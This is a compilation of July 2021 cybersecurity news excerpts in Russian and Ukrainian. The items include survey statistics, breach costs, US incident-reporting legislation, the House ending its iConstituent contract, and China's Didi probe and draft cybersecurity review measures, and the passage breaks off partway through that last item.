В обнародованном Совбезом документе большое внимание уделяется угрозам со стороны Российской Федерации. В частности, речь идет о создании главного центра информационных технологий Войск нацгвардии РФ. Основными целями деятельности этого учреждения является создание, развитие и эксплуатация информационных систем, программного обеспечения и информационно-коммуникационной инфраструктуры, использование информационно-коммуникационных технологий, а также обеспечение информационной безопасности и технической защиты информации в Войсках национальной гвардии.

Кроме того, Министерство обороны РФ в ближайшее время планирует создать специализированное управление, которое будет заниматься вопросами развития искусственного интеллекта, элементы которого используются в комплексах БПЛА и наземной техники. Об этом представители ведомства заявили в рамках заседания рабочей группы по проблемам развития комплексов с беспилотными летательными аппаратами военного назначения. Мероприятие состоялось на базе конструкторского бюро компании "Сухой". В ходе этого мероприятия на обсуждение были вынесены вопросы, касающиеся направлений интеллектуализации беспилотных летательных аппаратов во время групповой эксплуатации. Представители крупнейших предприятий-производителей БПЛА, в свою очередь, проинформировали о последних разработках, позволяющих внедрять технологии искусственного интеллекта в военную технику и технику двойного использования.

Кроме того, указывается о создании россиянами центра по исследованию безопасности операционных систем на базе Linux, регулирование работы социальных сетей с персональными данными в РФ, об основах государственной политики РФ в области информационной безопасности, введение штрафов за нарушения при защите критической инфраструктуры, контроль за компаниями, использующими VPN и др.

Отдельные пункты бюллетеня посвящены ситуации в Германии, Израиле, Сингапуре.

Второй раздел бюллетеня касается угроз глобальной кибербезопасности и мерам по их предотвращению, доминированию России в манипулятивных информсообщениях в соцсетях и атакам китайской группировки Cycldek, DdoS-атакам в разных странах мира.

Третий раздел бюллетеня посвящен анализу использования биткоинов в финансовых операциях и указываются другие аспекты угроз». ***(В СНБО обнародовали бюллетень о мировых угрозах в современном киберпространстве // Укринформ (https://www.ukrinform.ru/rubric-polytics/3288479-v-snbo-obnarodovali-bulleten-o-mirovyh-ugrozah-v-sovremennom-kiberprostranstve.html). 28.07.2021).***

***

«Любое сохраняющееся безразличие к риску кибербезопасности испарилось перед лицом всплеска атак с использованием программ-вымогателей, угроз цепочки поставок программного обеспечения и проблем с обеспечением безопасности удаленных сотрудников. Об этом говорится в отчете CSO Global Intelligence Report: состояние кибербезопасности в 2021 году, опубликованном в ходе онлайн-опроса в мае и июне этого года.

Неудивительно, что половина опрошенных заявили, что за последний год они увидели рост инцидентов безопасности в своих организациях. Обращает на себя внимание размер ущерба: почти половина атакованных лиц сообщили, что видели экономический ущерб, потерю производительности и кражу PII (личной информации). Не менее 28% заявили, что интеллектуальная собственность была украдена.

Больше всего шокирует то, что 15% подвергшихся нападению респондентов столкнулись с полной остановкой своего бизнеса, а 12% признали, что испытали на себе «огромные» экономические последствия. Опрос также показал, что 60% организаций в секторе коммунальных услуг понесли экономический ущерб от кибератак, что является самым высоким показателем среди всех сегментов отрасли. Коммунальные и энергетические компании также чаще всего сообщали о краже интеллектуальной собственности - 43%. Оптовые и розничные компании чаще всего сообщали о потере PII - 58%.

Глобальный характер исследования позволил получить дополнительную информацию. Организации, расположенные в США и Канаде, чаще всего сообщали о росте инцидентов (53%), за ними следуют Азиатско-Тихоокеанский регион (50%), Европа и Ближний Восток (48%), Латинская Америка и Африка (каждая на 42%).

Тем не менее, независимо от того, где они проживают, респонденты полагали, что их не видно. Например, полные 62% респондентов ожидали, что финансовая атака на их организацию, такая как программа- вымогатель, произойдет в течение следующих 12 месяцев.

Итак, как организации планируют отреагировать? Начнем с того, что потратим больше: 71% организаций планируют увеличить свой бюджет безопасности в этом году. Самым главным приоритетом расходов, естественно, было «предотвращение атак» - 43%. Облачная безопасность заняла второе место с 36%, конфиденциальность данных и сетевая безопасность заняли третье место с 35%. Компании в сфере финансовых услуг, транспорта и технологий, скорее всего, сообщат об увеличении своего бюджета на ИТ-безопасность более чем на 10% в 2021 году.

Самая разочаровывающая часть опроса касалась осведомленности о безопасности. Только половина респондентов заявили, что обязательные программы обучения или повышения осведомленности в области ИТ-безопасности действуют для всех пользователей «в течение некоторого времени», а еще 20% заявили, что эта инициатива была только что введена. Несмотря на различия в эффективности таких программ, они являются абсолютно важной частью современных средств защиты от кибербезопасности.

Тем не менее, как показывает Отчет «Состояние кибербезопасности в 2021 году», по большей части организации, похоже, удваивают свою защиту. У них нет выбора, учитывая уже нанесенный ущерб. Кибербезопасность - это не битва, которую можно выиграть, просто вести ее постоянно, и во всем мире существует четкое понимание огромного риска, если организации не смогут выделить необходимые ресурсы для борьбы». ***(Eric Knorr. CSO Global Intelligence Report: The State of Cybersecurity in 2021 // IDG Communications, Inc. (https://www.csoonline.com/article/3627274/cso-global-intelligence-report-the-state-of-cybersecurity-in-2021.html). 30.07.2021).***

***

«Компании, предлагающие продукты и услуги для отражения угроз кибербезопасности, сейчас важнее, чем когда-либо прежде. Во вторник президент Джо Байден подтвердил роль киберугроз и негативное влияние, которое эти атаки могут оказать на геополитическую стабильность. Он предупредил, что, если США окажутся в «настоящей перестрелке», это может быть результатом серьезного кибернетического взлома. Как инвесторы, важность наличия адекватных контактов с компаниями, занимающимися кибербезопасностью, нельзя игнорировать. В этой статье мы проанализируем графики по всей отрасли и попытаемся определить, как активные трейдеры будут стремиться позиционировать себя в ближайшие недели и месяцы.

ETFMG Prime Cyber Security ETF (ВЗЛОМ)

Наиболее распространенным активом, используемым трейдерами при стремлении получить доступ к индустрии кибербезопасности, является ETFMG Prime Cyber Security ETF (HACK). По сути, ETF состоит из 62 холдингов и имеет коэффициент расходов 0,60%. Глядя на диаграмму ниже, вы можете видеть, что сходящиеся линии тренда создают четко очерченный паттерн восходящего треугольника. Этот общий паттерн продолженияиспользуется трейдерами при определении размещения ордеров на покупку и стоп. Прорыв над горизонтальной линией тренда, такой как выделенная на графике, предполагает, что быки контролируют импульс и что цена фонда может подняться выше. Среднесрочные цели, скорее всего, будут размещены около 81 доллара, что равно точке входа плюс высота паттерна. С точки зрения управления рисками, стоп-лосс, скорее всего, будет размещен ниже 50-дневной скользящей средней (синяя линия) или 200-дневной скользящей средней (красная линия) в зависимости от допустимости риска.

Cloudflare, Inc. (NET)

Cloudflare, Inc. (NET), являющаяся одним из крупнейших активов HACK ETF, скорее всего, в ближайшие недели будет в центре внимания технических трейдеров. Основываясь на графике, трейдеры заметят, как цена недавно переместилась выше ключевого уровня краткосрочного сопротивления и что, похоже, не существует серьезного препятствия на пути движения вверх. Ближайшие уровни поддержки, показанные пунктирными линиями тренда и цветными скользящими средними, предоставляют трейдерам четкие уровни для

размещения стоп-лосс в зависимости от толерантности к риску и перспектив инвестиций.

Fortinet, Inc. (FTNT)

Fortinet, Inc. (FTNT), еще один из крупнейших активов HACK ETF с рыночной капитализацией около 45 миллиардов долларов, является одной из компаний в сфере кибербезопасности, которую нельзя не заметить. Сильная прибыль за второй квартал продемонстрировала рост общей выручки на 30% по сравнению с аналогичным периодом прошлого года до 801,1 млн долларов США. Биллинг в размере 960,9 млн долларов вырос на 35% по сравнению с прошлым годом. Глядя на график, вы можете видеть, что цена акции торговалась в ограниченном диапазоне в течение многих месяцев и, похоже, будет расти в ближайшие месяцы. Чтобы эффективно управлять рисками, сторонники технического анализа, вероятно, будут использовать одну из линий тренда или скользящие средние при размещении стоп-лоссов.

Palo Alto Networks, Inc. (PANW)

Еще одна известная и широко используемая компания в области кибербезопасности, которая торгует по схеме восходящего треугольника, - это Palo Alto Networks, Inc. (PANW). Исходя из близости к верхней границе модели, этот график, вероятно, будет в верхней части списков наблюдения трейдеров в течение следующих нескольких недель. Основываясь на принципах технического анализа, сильное движение выше психологического уровня в 400 долларов может легко стать катализатором, необходимым для начала следующего этапа крупного движения вверх. Следует сказать, что некоторые трейдеры могут предпочесть покупать около текущих уровней в ожидании движения выше, но этот тип торговли несет более высокий уровень риска, чем ожидание подтверждения прорыва.

Суть

Компании, занимающиеся кибербезопасностью, играют решающую роль в сегодняшней экономике и поэтому заслуживают места в инвестиционных портфелях. Для активных трейдеров рассмотренные выше графические модели в сочетании с близлежащими уровнями поддержки предполагают, что цены имеют хорошие возможности для роста в следующие несколько месяцев». ***(CASEY MURPHY. Charts Suggest It's Time to Buy Cybersecurity Stocks // Investopedia (https://www.investopedia.com/charts-suggest-it-s-time-to-buy-cybersecurity-stocks-5194902). 30.07.2021).***

***

«Существует нехватка кадров в области кибербезопасности, что продолжает оказывать негативное влияние на более чем половину крупных организаций, и компании серьезно страдают от утечки данных, стоимость которой составляет 4,24 миллиона долларов США за инцидент, что на 10% больше, чем в 2020 году.

VentureBeat подробно описал эту статистику и многие другие выводы на основе отдельных отчетов, выпущенных IBM и Ассоциацией безопасности информационных систем (ISSA). В отчетах подчеркивается множество проблем, с

которыми отрасль кибербезопасности сталкивается в связи с пандемией, ускоряющей цифровые преобразования.

ISSA в партнерстве с Enterprise Strategy Group (ESG) опубликовала пятый ежегодный глобальный опрос профессионалов в области кибербезопасности, а IBM выпустила 17- й ежегодный отчет о стоимости утечки данных совместно с Ponemon Institute.

Разрыв в навыках кибербезопасности увеличивается, и его влияние не показало никаких признаков улучшения за последние пару лет, и 44% профессионалов говорят, что ситуация ухудшилась, причем основным фактором является отсутствие «соответствующей» компенсации. Тридцать восемь процентов респондентов назвали это своей основной причиной.

Помимо этого, согласно исследованию Международного консорциума по сертификации безопасности информационных систем, в мире насчитывается 4,07 миллиона незаполненных вакансий в области кибербезопасности, согласно которому к 2022 году отрасль вырастет в три раза, что может усугубить проблему.

Профессионалы в области кибербезопасности не имеют четко определенной карьеры и могут работать в сфере безопасности без полного набора навыков, а многие руководители не понимают роли информационной безопасности. Это приводит к тому, что лидеры кибербезопасности вынуждены брать на себя адвокационные роли для развития талантов в своих сотрудниках.

Опросы ISSA и ESG 2020 года показали, что «деятельность по развитию» была недостающим шагом в карьере профессионалов в области кибербезопасности, и эта деятельность может быть чем угодно: от наставничества, сертификации, стажировок до участия в профессиональной организации.

IBM обнаружила, что переход на удаленную работу привел к более дорогостоящим утечкам данных, которые стоили более чем на 1 миллион долларов больше, если удаленная работа сыграла свою роль в утечке.

Отрасли, которые пострадали от самых дорогостоящих утечек данных, - это здравоохранение, финансовый сектор и фармацевтическая промышленность, стоимость которых превышает 5 миллионов долларов.

«Взломанные учетные данные пользователя были наиболее частой основной причиной утечки данных», - сообщила IBM в статье VentureBeat. «В то же время личные данные клиентов, такие как имена, адреса электронной почты и пароли, были наиболее распространенным типом утечки информации - опасной комбинацией, которая могла дать злоумышленникам рычаги воздействия на будущие нарушения».

IBM также обнаружила, что «современные» подходы к безопасности, в которых ИИ, аналитика безопасности и шифрование являются смягчающими факторами, поскольку они сэкономили крупным организациям от 1,25 до 1,49 миллиона долларов. Организации, которые приняли философию нулевого доверия, также имеют гораздо более низкие издержки от утечки данных». ***(Jess DeWitt. Cybersecurity Skills Shortage Causes Concern as Breach Costs Rise // Emerald X, LLC. (https://www.cepro.com/security/cybersecurity-skills-shortage-causes-concern-as-breach-costs-rise/). 30.07.2021).***

***

«Офис главного административного директора (CAO), который предоставляет услуги поддержки членам Палаты представителей обеих партий, направил членам Конгресса письмо, в котором объявил, что расторг все контракты с iConstituent и больше не будет разрешать использование платформы. из-за множества инцидентов, связанных с кибербезопасностью.

iConstituent в настоящее время используется примерно 60 членами Палаты представителей и был разработан для облегчения общения между политиками и местными жителями. Но в мае платформа подверглась атаке с использованием программ-вымогателей, и главный административный директор Дома Кэтрин Шпиндор сообщила Punchbowl News, что атака была нацелена на систему электронной рассылки iConstituent, доступ к которой покупают члены Палаты представителей.

Шпиндор тогда добавил, что никакие данные из Дома не были получены или получены, и сеть, используемая Домом, не пострадала.

Но в письме членам Палаты представителей, которое впервые получила Мелани Занона CNN, CAO разорвал iConstituent за многочисленные инциденты с безопасностью, о некоторых из которых ранее не сообщалось, и за их слабый ответ на вопросы правительственных чиновников.

Во вторник iConstituent была уведомлена о расторжении ее контрактов и о том, что платформа больше не будет «иметь право предоставлять CMS, обслуживание, системное администрирование или веб-сервисы для офисов Дома», говорится в письме.

Члены палаты должны будут покинуть платформу iConstituent до 31 декабря.

«CAO принимает это решение из-за многочисленных инцидентов кибербезопасности, связанных с iConstituent за последние несколько лет. CAO признает, что это существенно повлияет на работу вашего офиса. CAO не легкомысленно подошел к этому решению», - говорится в письме, добавляя, что они предоставить членам Конгресса помощь в поиске систем замены.

iConstituent будет по-прежнему предоставлять свои услуги Конгрессу, пока участники переходят к другим утвержденным поставщикам.

В письме объясняется, что отчасти причиной отмены был ответ iConstituent на майскую атаку вымогателя.

По данным CAO, iConstituent ждала почти неделю, прежде чем проинформировать правительственных чиновников об атаке программ-вымогателей на их службу электронных информационных бюллетеней.

«Эта задержка с уведомлением была серьезным нарушением договорных требований iConstituent, направленных на защиту информации о членах и учредителях», - заявили в CAO.

«С тех пор усилия CAO по получению дополнительных сведений от iConstituent натолкнулись на противоречивую и непоследовательную информацию, дальнейшие задержки и общее отсутствие прозрачности. Хотя iConstituent заявляет,

что никакая информация Дома не пострадала в результате атаки с использованием программ-вымогателей - и у САО нет доказательств, чтобы опровергнуть этот вывод - обстоятельства атаки и реакция iConstituent вызывают непоправимые сомнения в их способности безопасно предоставлять технологические услуги дому».

В письме подробно описываются многочисленные инциденты, связанные с кибербезопасностью iConstituent, в том числе произошедшие в июле 2013 и ноябре 2018 года, когда платформа либо «не смогла защитить веб-данные Дома», либо испытала компрометацию их платформы электронных бюллетеней.

Компрометация платформы произошла из-за того, что iConstituent не применил «критические» исправления к своей системе, согласно САО. В инциденте 2018 года корневые пароли нескольких веб-сайтов были открыты для публичного доступа в Интернет.

САО заявила, что ранее наказывала iConstituent, удерживая платежи и запрещая компании принимать в качестве клиентов каких-либо других членов Конгресса.

«Судя по этому последнему инциденту, поставщик по-прежнему не улучшил свои методы обеспечения безопасности», - заявили в САО.

Список ресурсов и вариантов был предоставлен членам палаты в конце электронного письма, и администраторы обязались связаться с каждым офисом, чтобы помочь в процессе перехода.

Несмотря на действия, предпринятые Палатой представителей, iConstituent по-прежнему широко используется правительствами штатов Невада, Джорджия, Гавайи и таких городов, как Лос-Анджелес. Ассамблея штата Нью-Йорк также имеет контракт с компанией на оказание услуг». ***(Jonathan Greig. US House terminates deal with iConstituent after company waited days to raise ransomware alarm // ZDNet (https://www.zdnet.com/article/us-house-terminates-deal-with-iconstituent-after-multiple-security-incidents/). 21.07.2021).***

***

«Сенаторы Марк Р. Уорнер (D-VA), Марко Рубио (R-FL) и Сьюзан Коллинз (R-ME) ввели закон, требующий от федеральных агентств, государственных подрядчиков, владельцев и операторов инфраструктуры сообщать о кибер-вторжениях в течение 24 часов с момента их появления. открытие.

Этот закон отчасти является ответом на взлом компании по управлению ИТ SolarWinds, который привел к компрометации сотен федеральных агентств и частных компаний, а также на атаку программ-вымогателей в мае 2021 года на Colonial Pipeline, которая временно остановила работу трубопровода и привела к топливу. дефицит на Атлантическом побережье США, а также недавний натиск атак программ-вымогателей, затронувших тысячи государственных и частных организаций.

Согласно действующему закону, в настоящее время нет федерального требования о том, чтобы отдельные компании сообщали о взломах, что, как отметили эксперты, делает страну уязвимой для преступной и спонсируемой

государством хакерской деятельности. Двухпартийный Закон об уведомлении о киберинцидентах от 2021 года потребует от федеральных правительственных агентств, федеральных подрядчиков и операторов критически важной инфраструктуры уведомлять Агентство кибербезопасности и безопасности инфраструктуры Министерства внутренней безопасности (DHS) при обнаружении нарушения, чтобы правительство США могло мобилизоваться для защиты важнейшие отрасли по всей стране.

Чтобы стимулировать такой обмен информацией, законопроект предоставит ограниченный иммунитет компаниям, которые заявят о нарушении, и поручит CISA внедрить процедуры защиты данных, чтобы обезличить личную информацию и защитить конфиденциальность.

«Кажется, что каждый день американцы просыпаются от новостей об очередной атаке программ-вымогателей или кибернетических атаках. Взлом SolarWinds продемонстрировал, насколько широкими могут быть волновые эффекты этих атак, затрагивающие сотни или даже тысячи объектов, связанных с первоначальной целью», - сказал сенатор Уорнер. «Мы не должны полагаться на добровольную отчетность для защиты нашей критически важной инфраструктуры. Нам нужен стандартный федеральный стандарт, чтобы, когда нарушение затрагивает жизненно важные секторы нашей экономики, можно было мобилизовать все ресурсы федерального правительства для реагирования и предотвращения его воздействия».

«Кибератаки на американский бизнес, инфраструктуру и государственные учреждения вышли из-под контроля. Правительство США должно принять решительные меры против киберпреступников и государственных субъектов, укрывающих их. Также очень важно, чтобы американские организации действовали немедленно после нападения. Чем дольше об атаке не сообщается, тем больший урон можно нанести. Обеспечение своевременного уведомления поможет защитить здоровье и безопасность бесчисленного количества американцев и поможет нашему правительству выследить виновных», - сказал сенатор Рубио.

«Четкое представление об опасностях, с которыми сталкивается страна в результате кибератак, необходимо для определения приоритетов и действий по смягчению и уменьшению угрозы», - сказал сенатор Коллинз. «Мой законопроект 2012 года привел бы к улучшению обмена информацией с федеральным правительством, что, вероятно, уменьшило бы влияние киберинцидентов как на правительство, так и на частный сектор. Отсутствие строгих требований об уведомлении о киберинцидентах только даст нашим противникам больше возможностей для сбора информации о нашем правительстве, кражи интеллектуальной собственности у наших компаний и нанесения вреда нашей критически важной инфраструктуре. Я призываю своих коллег принять Закон об уведомлении о киберинцидентах 2021 года, что является здравым смыслом и давно пора».

В дополнение к сенаторам Уорнеру, Рубио и Коллинзу, законопроект спонсируется членами сенатского комитета по разведке сенатор Дайан Файнштейн (штат Калифорния), Ричард Берр (республиканский округ), Мартин Генрих (штат Нью-Мексико), Джеймс Риш (R-ID), Ангус Кинг (I-ME), Рой Блант (R-MO), Майкл

Беннет (D-CO), Боб Кейси (D-PA), Бен Сасс (R-NE) и Кирстен Гиллибранд (D-NY), вместе с сенатором Джо Манчином (D-WV), председателем подкомитета Сената по вооруженным силам по кибербезопасности, и сенатором Джоном Тестером (D-MT), председателем подкомитета Сената по ассигнованиям на оборону.

«После многих лет разговоров о том, что нашей стране необходимо реальное государственно-частное партнерство для повышения кибербезопасности, мы, наконец, приняли конкретные и важные меры - введение двухпартийного Закона об уведомлении о киберинцидентах от 2021 года. Мы не можем отследить или не надеяться об устранении внешних или внутренних источников злонамеренных действий в киберпространстве, если только мы не сможем быстро обнаружить киберпроблемы. Этот закон имеет большое значение для начала решения проблемы», - сказал Гленн Герстелл, бывший генеральный советник Агентства национальной безопасности.

«Отрадно видеть постоянное признание двумя партиями Конгресса критической роли CISA как входной двери для взаимодействия промышленности с правительством США по вопросам кибербезопасности», - сказал Крис Кребс, бывший директор Агентства по кибербезопасности и безопасности инфраструктуры.

«Этот законопроект значительно продвигает дискуссию о необходимости обязательного уведомления о значительной киберактивности для обеспечения большей общей ситуационной осведомленности, лучшей защиты сетей и углубления нашего понимания масштабов и масштабов угрозы», - сказала Сюзанна Сполдинг, бывшее Министерство внутренних дел. Заместитель министра безопасности по защите кибернетической информации и инфраструктуры». ***(Warner, Rubio, Collins introduce bipartisan cybersecurity reporting bill // Augusta Free Press LLC (https://augustafreepress.com/warner-rubio-collins-introduce-bipartisan-cybersecurity-reporting-bill/). 26.07.2021).***

***

«20 июля сенатор штата Майкл Мур, штат Д-р Миллбери, выступил перед Совместным комитетом по государственному управлению и надзору за соблюдением нормативных требований в поддержку своего законопроекта S.2088 - Закона о создании комиссии по контролю и обзору кибербезопасности.

«За последние 18 месяцев мы стали свидетелями огромных изменений в том, как мы все работаем как в личной, так и в профессиональной жизни», - сказал Мур. «Все мы все чаще и чаще оказываемся в сети, и многие из нас наслаждаются преимуществами выполнения повседневных дел из дома. Однако мы должны предпринять шаги для защиты нашей инфраструктуры информационных технологий, поскольку кибератаки представляют собой постоянно растущую угрозу для общества и страны».

В своих показаниях Мур выделил несколько случаев кибератак, произошедших в Содружестве за последние несколько месяцев. Ранее этой весной никто в штате не смог завершить процесс проверки транспортных средств из-за атаки вредоносного ПО на поставщика, который отслеживает эти проверки. А всего несколько недель назад Управление пароходства Массачусетса подверглось атаке

программы-вымогателя, которая остановила процесс бронирования для тех, кто пытался добраться до Нантакета и Мартас-Винъярд и обратно.

Мур подчеркнул, что, хотя эти инциденты были разрешены, нет никаких оснований предполагать, что Содружество невосприимчиво к гораздо более опасным кибератакам. Например, сенатор привел пример хакера, пытающегося поднять уровень гидроксида натрия до потенциально смертельного количества на водоочистной станции во Флориде. К счастью, эта атака была предотвращена, но демонстрирует, насколько велика опасность, которую представляют кибератаки.

Поэтому Мур выступил за то, чтобы его законопроект был положительно представлен вне комитета, поскольку он учредит экспертную комиссию, которая будет рекомендовать стандарты кибербезопасности для государственных агентств и частных компаний, которые заключают контракты с Содружеством. Эти стандарты будут основаны на передовом опыте, установленном Национальным институтом стандартов и технологий в области кибербезопасности. Комиссия также будет работать с частными предприятиями, которые продемонстрировали успешный опыт соблюдения строгих стандартов кибербезопасности.

После его показаний Объединенный комитет по государственному управлению и регулирующему надзору теперь порекомендует, следует ли продолжить законопроект в законодательном процессе». ***(Moore sponsors bill to establish state cybersecurity commission // www.millburysutton.com (https://www.millburysutton.com/story/news/2021/07/25/moore-sponsors-bill-establish-state-cybersecurity-commission/8080329002/). 25.07.2021).***

***

«Нью-Йорк став першим американським мегаполісом, який відкрив оперативний Центр для захисту від кіберзагроз. Про це пише The Wall Street Journal.

Центр знаходиться на Манхеттені, у ньому розташувалася коаліція урядових установ та приватних компаній – від поліції Нью-Йорка і системи охорони здоров'я до Amazon.com – загалом представники 282 установ, які діляться між собою оперативною інформацією щодо потенційних кіберзагроз.

До минулого тижня нью-йоркські кіберкритичні служби протягом двох років були повністю віртуальними.

Центр кіберзахисту в Нью-Йорку відкрили на тлі збільшення кількості нападів на урядову та ділову інфраструктуру в країні. В останні місяці кібератаки вразили великий трубопровід США, виробника м’яса та технічні компанії.

Нью-Йорк здавна вважався особливо вразливим через статус ділового центру та символу американської фінансової та культурної могутності». ***(У Нью-Йорку відкрили Центр захисту від кіберзагроз. У ньому співпрацюють 282 державні та приватні установи // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27723/2021-07-09-u-nyu-yorku-vidkryly-tsentr-zakhystu-vid-kiberzagroz-u-nomu-spivpratsyuyut-282-derzhavni-ta-pryvatni-ustanovy/). 09.07.2021).***

***

«Пользователь форума геймеров опубликовал засекреченные документы с характеристиками британского танка Challenger 2.

Геймер под псевдонимом Fear Naught, являющийся действующим командиром британской боевой машины, выложил в интернет руководство по эксплуатации танка Challenger 2. Таким образом он хотел помочь разработчикам War Thunder более достоверно воспроизвести боевую единицу в любимой им видеоигре.

На представленных им бумагах гриф секретности был зачеркнут, а также стояла печать о свободном распространении. Позже стало известно, что данные штампы были поддельными. Модератор форума подчеркнул, что Министерство обороны указало на секретность данных документов». ***(Геймер выложил на форуме секретные чертежи британского танка // SecurityLab.ru (https://www.securitylab.ru/news/522391.php). 17.07.2021).***

***

«Німецькі компанії останнім часом стають об'єктами кібератак частіше, ніж будь-коли раніше. Таку оцінку в опублікованій у неділю, 4 липня, статті видання Welt am Sonntag дав глава відділу безпеки Федерального об'єднання німецької промисловості (BDI) Маттіас Вахтер (Matthias Wachter).

«Німецький бізнес ніколи ще не піддавався настільки активним атакам, як сьогодні», - поскаржився Вахтер. «Число нападів ще більше зросло в період пандемії коронавірусу, тому що компанії ще більш вразливі (під час роботи співробітників. - Ред.) з дому», - додав він.

BSI: Велику роль відіграють програми-«здирники»

Цю оцінку підтверджують і державні органи. Так, Федеральне відомство з безпеки в сфері інформаційної техніки (BSI) констатує, що ситуація з кіберзагрозами «залишається дуже напруженою і погіршилася ще більше у зв'язку з пандемією».

За оцінками експертів BSI, це викликано, зокрема, застосуванням «кібератак з використанням програм-здирників", які блокують комп'ютерні системи до сплати викупу.

Бізнес не вважає заходи федеральної влади достатніми

Водночас представники бізнесу не вважають достатніми контрзаходи, озвучені федеральним урядом Німеччини. На цьому тлі BSI запропонувало ряд кроків в рамках концепції "національної стратегії захисту економіки". Як зазначає Welt am Sonntag, план передбачає тісну співпрацю політики і бізнесу.

Так, Берлін повинен призначити "координатора із захисту економіки" в ранзі державного міністра або статс-секретаря. Крім того, передбачається створення національного центру захисту економіки в рамках державно-приватного партнерства, що буде виступати в якості сполучної ланки між державними органами і приватними компаніями, зазначає BSI…». ***(Катерина Вєнкіна, Олександр Голубов. Німецький бізнес скаржиться на рекордну кількість***

кібератак // Deutsche Welle (https://www.dw.com/uk/nimetskyi-biznes-skarzhytsia-na-rekordnu-kilkist-kiberatak/a-58153753). 04.07.2021).

***

Китай

«Китай розробив проект трирічного плану дій з розвитку індустрії кібербезпеки в країні, повідомили в Міністерстві промисловості та інформаційних технологій

За його оцінками, до 2023 року це обійдеться в понад 250 млрд юанів ($38,6 млрд).

Поки в КНР активізують зусилля з розробки нормативних актів, спрямованих на поліпшення управління зберіганням, передачею даних і конфіденційністю персональних даних.

Управління з питань кіберпростору КНР запропонувало проект правил, які закликають всі технологічні компанії з понад 1 млн користувачів пройти перевірку на предмет безпеки перед розміщенням даних за кордоном». ***(Китай розробив проект трирічного плану розвитку індустрії кібербезпеки в країні // Дзеркало тижня. Україна (https://zn.ua/ukr/WORLD/kitaj-rozrobiv-proekt-tririchnoho-planu-po-rozvitku-industriji-kiberbezpeki-v-krajini.html). 12.07.2021).***

***

«Китайская кибербезопасность в пятницу объявила о проведении на месте расследования кибербезопасности службы вызова пассажиров Didi, усилив проверку после того, как ранее критика в отношении обработки информации о клиентах привела к падению акций компании, торгуемых в Нью-Йорке.

Проверка на месте проводится через две недели после того, как регулирующий орган заявил, что проверит компанию, занимающуюся вызовом пассажиров, на предмет опасений по поводу национальной безопасности и безопасности данных. Это произошло через несколько дней после того, как Didi собрала 4,4 миллиарда долларов и стала публичной на Нью-Йоркской фондовой бирже.

Согласно заявлению, опубликованному в пятницу Управлением кибербезопасности Китая, другие правительственные ведомства Китая, участвующие в расследовании на месте, включают Министерство общественной безопасности, Министерство природных ресурсов, Министерство транспорта, Государственную налоговую администрацию и Государственную администрацию регулирования рынка.

Администрация киберпространства Китая не сообщила других подробностей.

Ранее Didi было приказано прекратить регистрацию новых клиентов, пока компания полностью пересмотрела сбор и обработку информации о своих пользователях.

Правящая Коммунистическая партия ужесточает контроль над быстро развивающейся технологической отраслью Китая и информацией о его обществе и экономике, которые она считает важным стратегическим активом». ***(China announces on-site Didi cybersecurity investigation // The Associated Press (https://apnews.com/article/technology-business-china-b18a0f7b87042d42266ea9aef96debba). 16.07.2021).***

***

«Несколько дней назад Cyber Administration of China (CAC) потрясло сектор онлайн-бизнеса проведением обзора кибербезопасности Didi (крупнейшей в мире онлайн-компании по вызову пассажиров) и трех других компаний онлайн-бизнеса, чтобы предотвратить риски безопасности данных, со ссылкой на «Cybersecurity Review Меры» (см. Нашу предыдущую статью по этой теме).

После большого шага, 10 июля 2021 года, CAC опубликовала на своем веб-сайте проект измененных Меры по проверке кибербезопасности (проект), стремясь получить общественное мнение до 25 июля. Основываясь на недавно принятом Законе о безопасности данных, проект направлен на установление правил. для системы проверки национальной безопасности, чтобы лучше предотвращать риски, связанные с кибербезопасностью и безопасностью данных. Вкратце, Черновик содержит следующие новые функции:

Обзор кибербезопасности будет применяться не только к операторам критически важной информационной инфраструктуры (CIIO) [1], но и к обработчикам данных, а также к поставщикам продуктов и услуг для этих операторов.

Проверка будет инициирована не только заявлением CIIO и других обработчиков данных, если они предвидят какой-либо риск, но также может быть инициирована государственными органами.

Объем проверки будет не только ограничиваться риском кибербезопасности, но также будет учитывать безопасность данных, безопасность цепочки поставок, национальную безопасность и статус соблюдения правовых норм поставщиками. Если оператор, который хранит персональные данные более 1 миллиона пользователей, будет размещен в зарубежной стране, он должен подать заявку на проверку кибербезопасности.

Срок рассмотрения продлевается. Стандартный процесс может занять до 70 рабочих дней, а специальный процесс рассмотрения может занять еще 3 месяца и может быть продлен.

Ниже мы предоставим вам более подробную информацию об измененных Мерах по проверке кибербезопасности.

1. Затронутые лица

Согласно проекту, проверка кибербезопасности может затронуть следующие три категории субъектов:

(1) CIIO : в текущих мерах по проверке кибербезопасности уже указано, что CIIO должны пройти проверку на предмет кибербезопасности перед CAC при закупке сетевых продуктов и услуг, которые в основном относятся к базовому

сетевому оборудованию, важным телекоммуникационным продуктам [2], высокопроизводительным компьютерам и серверам, массовым запоминающее устройство, большая база данных и прикладные программы, оборудование сетевой безопасности, услуги облачных вычислений и другие сетевые продукты и услуги, которые могут иметь значительное влияние на безопасность критически важных информационных инфраструктур.

(2) Обработчики данных: проект дополнительно расширяет сферу охвата, чтобы охватить организации, не относящиеся к CIIO, что означает, что любые обработчики данных могут быть подвергнуты проверке кибербезопасности в случае, если их обработка данных считается «затрагивающей или может повлиять на национальную безопасность».

(3) Поставщики продуктов и услуг: помимо CIIO и обработчиков данных (которые именуются «Операторами»), которые являются прямыми целями проверки кибербезопасности, поставщики этих Операторов, то есть компании, которые предоставляют продукты и услуги, может также зависеть от обзора кибербезопасности. Проект требует, чтобы Операторы через документы и соглашения о закупках просили поставщиков продуктов и услуг сотрудничать в проверке кибербезопасности, в том числе взять на себя обязательство о том, что они не будут незаконно получать данные пользователей с помощью продуктов и услуг, или незаконно контролировать или манипулировать пользователем. оборудования и не будет приостанавливать поставку продукции или необходимых вспомогательных услуг без уважительной причины.В связи с вышеизложенным было рекомендовано, чтобы стороны подали заявку на проверку кибербезопасности до подписания контракта на закупку или они должны указать в контракте, что контракт будет действовать только в том случае, если продукты или услуги пройдут проверку кибербезопасности.

2. Проведение обзора кибербезопасности.

(1) Начало проверки кибербезопасности

Проверка кибербезопасности может быть инициирована операторами или любым государственным органом, который является членом «Рабочей системы проверки кибербезопасности [3]».

а. Приложение для проверки кибербезопасности. Проект требует, чтобы операторы подавали заявку на проверку кибербезопасности в двух случаях:

я. В случае, если оператор предвидит, что приобретаемые сетевые продукты и услуги будут представлять угрозу национальной безопасности. Эти меры позволили соответствующим государственным органам, регулирующим критические информационные инфраструктуры (CII) в различных секторах, разработать соответствующие отраслевые руководящие принципы для определения рисков национальной безопасности сетевых продуктов и услуг.

